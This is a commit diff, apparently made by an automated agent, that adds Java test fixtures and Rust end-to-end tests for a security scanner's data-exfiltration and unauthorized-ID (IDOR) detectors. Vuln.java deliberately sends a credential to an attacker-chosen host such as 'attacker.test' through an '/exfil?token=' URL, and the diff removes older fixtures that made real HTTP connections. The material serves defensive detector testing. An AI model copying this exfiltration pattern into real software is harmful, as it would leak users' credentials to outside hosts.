[pitboss/grind] deferred session-0009 (20260522T163126Z-7d60)

This commit is contained in:
pitboss 2026-05-22 14:53:22 -05:00
parent 33b5c69211
commit 2c61324784
11 changed files with 679 additions and 37 deletions

View file

@ -148,7 +148,10 @@ mod e2e_data_exfil {
Lang::Python => "python",
Lang::Ruby => "ruby",
Lang::JavaScript => "js",
_ => unreachable!("DATA_EXFIL e2e currently covers Python + Ruby + JavaScript"),
Lang::Java => "java",
_ => unreachable!(
"DATA_EXFIL e2e currently covers Python + Ruby + JavaScript + Java"
),
})
.join(fixture);
let tmp = TempDir::new().expect("create tempdir");
@ -191,7 +194,10 @@ mod e2e_data_exfil {
Lang::Python => "python3",
Lang::Ruby => "ruby",
Lang::JavaScript => "node",
_ => unreachable!("DATA_EXFIL e2e currently covers Python + Ruby + JavaScript"),
Lang::Java => "javac",
_ => unreachable!(
"DATA_EXFIL e2e currently covers Python + Ruby + JavaScript + Java"
),
};
if !command_available(required) {
eprintln!("SKIP {lang:?} {fixture}: missing toolchain {required}");
@ -323,4 +329,41 @@ mod e2e_data_exfil {
"JavaScript DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
/// Java pair, same shape as Python + Ruby + JavaScript. The vuln
/// fixture calls `NyxMockHttp.get("http://" + host + "/exfil?...")`;
/// the harness-supplied `NyxMockHttp.captureHost` parses the URL
/// host into `CAPTURED_HOSTS`; the harness drains the list after
/// the entry returns and emits one `ProbeKind::OutboundNetwork` per
/// host. `OutboundHostNotIn` fires for the attacker payload. The
/// benign fixture's `ALLOWLIST.contains(host)` guard short-circuits
/// before reaching `NyxMockHttp.get` for non-loopback payloads, so
/// `CAPTURED_HOSTS` stays empty and no probe fires. Skips when
/// `javac` is not on PATH.
#[test]
fn java_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Java, "Vuln.java", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Java DATA_EXFIL vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn java_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::Java, "Benign.java", "run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"Java DATA_EXFIL benign control must not confirm via run_spec; got {outcome:?}",
);
}
}

View file

@ -0,0 +1,21 @@
// Phase 11 (Track J.9) Java DATA_EXFIL benign control fixture.
//
// Models a hardened outbound HTTP call that gates the destination host
// through a loopback allowlist before issuing the request. The harness
// reflectively invokes `run(payload)`; non-allowlist payloads (e.g.
// `attacker.test`) short-circuit before `NyxMockHttp.get(url)` so the
// captured-hosts list stays empty for the differential runner and no
// probe is emitted, clearing `OutboundHostNotIn` for the attacker
// payload. Loopback payloads (e.g. `127.0.0.1`) reach the helper but
// the captured host is inside the allowlist so the predicate stays
// clear there too.
import java.util.Set;
public class Benign {
private static final Set<String> ALLOWLIST = Set.of("127.0.0.1", "localhost");
public static void run(String host) throws Exception {
if (!ALLOWLIST.contains(host)) return;
NyxMockHttp.get("http://" + host + "/exfil?token=alice-creds");
}
}

View file

@ -0,0 +1,17 @@
// Phase 11 (Track J.9) Java DATA_EXFIL vuln fixture.
//
// Models an unguarded outbound HTTP call that exfiltrates a static
// credential to an attacker-controlled host. Java has no stdlib
// monkey-patch hook for `HttpURLConnection`, so the fixture calls into
// the harness-supplied `NyxMockHttp.get(url)` helper. The helper
// parses the URL host and appends it to `NyxMockHttp.CAPTURED_HOSTS`
// without initiating real wire I/O; the harness drains the list after
// `run` returns and emits one `ProbeKind::OutboundNetwork { host }` per
// captured call. `OutboundHostNotIn` fires when the host falls outside
// the loopback allowlist.
public class Vuln {
public static void run(String host) throws Exception {
String secret = "alice-creds";
NyxMockHttp.get("http://" + host + "/exfil?token=" + secret);
}
}

View file

@ -1,16 +0,0 @@
// Phase 11 (Track J.9) Java DATA_EXFIL benign control fixture.
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Set;
public class Benign {
private static final Set<String> ALLOWLIST = Set.of("127.0.0.1", "localhost");
public static void run(String host) throws Exception {
if (!ALLOWLIST.contains(host)) return;
URL url = new URL("http://" + host + "/exfil?token=alice-creds");
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.connect();
conn.disconnect();
}
}

View file

@ -1,13 +0,0 @@
// Phase 11 (Track J.9) Java DATA_EXFIL vuln fixture.
import java.net.HttpURLConnection;
import java.net.URL;
public class Vuln {
public static void run(String host) throws Exception {
String secret = "alice-creds";
URL url = new URL("http://" + host + "/exfil?token=" + secret);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.connect();
conn.disconnect();
}
}

View file

@ -139,7 +139,10 @@ mod e2e_unauthorized_id {
Lang::Python => "python",
Lang::Ruby => "ruby",
Lang::JavaScript => "js",
_ => unreachable!("UNAUTHORIZED_ID e2e currently covers Python + Ruby + JavaScript"),
Lang::Java => "java",
_ => unreachable!(
"UNAUTHORIZED_ID e2e currently covers Python + Ruby + JavaScript + Java"
),
})
.join(fixture);
let tmp = TempDir::new().expect("create tempdir");
@ -182,7 +185,10 @@ mod e2e_unauthorized_id {
Lang::Python => "python3",
Lang::Ruby => "ruby",
Lang::JavaScript => "node",
_ => unreachable!("UNAUTHORIZED_ID e2e currently covers Python + Ruby + JavaScript"),
Lang::Java => "javac",
_ => unreachable!(
"UNAUTHORIZED_ID e2e currently covers Python + Ruby + JavaScript + Java"
),
};
if !command_available(required) {
eprintln!("SKIP {lang:?} {fixture}: missing toolchain {required}");
@ -311,4 +317,38 @@ mod e2e_unauthorized_id {
"JavaScript UNAUTHORIZED_ID benign control must not confirm via run_spec; got {outcome:?}",
);
}
/// Java pair, same shape as Python + Ruby + JavaScript: the vuln
/// fixture's `STORE.get(ownerId)` materialises a record for any
/// owner_id; the harness emits a `ProbeKind::IdorAccess` and
/// `IdorBoundaryCrossed` fires for `bob`. The benign fixture's
/// `if (!CALLER.equals(ownerId)) return null;` short-circuits for
/// the non-caller payload so no probe is emitted and the predicate
/// stays clear. Skips when `javac` is not on PATH.
#[test]
fn java_vuln_confirms_via_run_spec() {
let Some(outcome) = run(Lang::Java, "Vuln.java", "run") else {
return;
};
assert!(
outcome.triggered_by.is_some(),
"Java UNAUTHORIZED_ID vuln must confirm via run_spec; got {outcome:?}",
);
let diff = outcome
.differential
.as_ref()
.expect("confirmed run must carry a DifferentialOutcome");
assert_eq!(diff.verdict, DifferentialVerdict::Confirmed);
}
#[test]
fn java_benign_does_not_confirm_via_run_spec() {
let Some(outcome) = run(Lang::Java, "Benign.java", "run") else {
return;
};
assert!(
outcome.triggered_by.is_none(),
"Java UNAUTHORIZED_ID benign control must not confirm via run_spec; got {outcome:?}",
);
}
}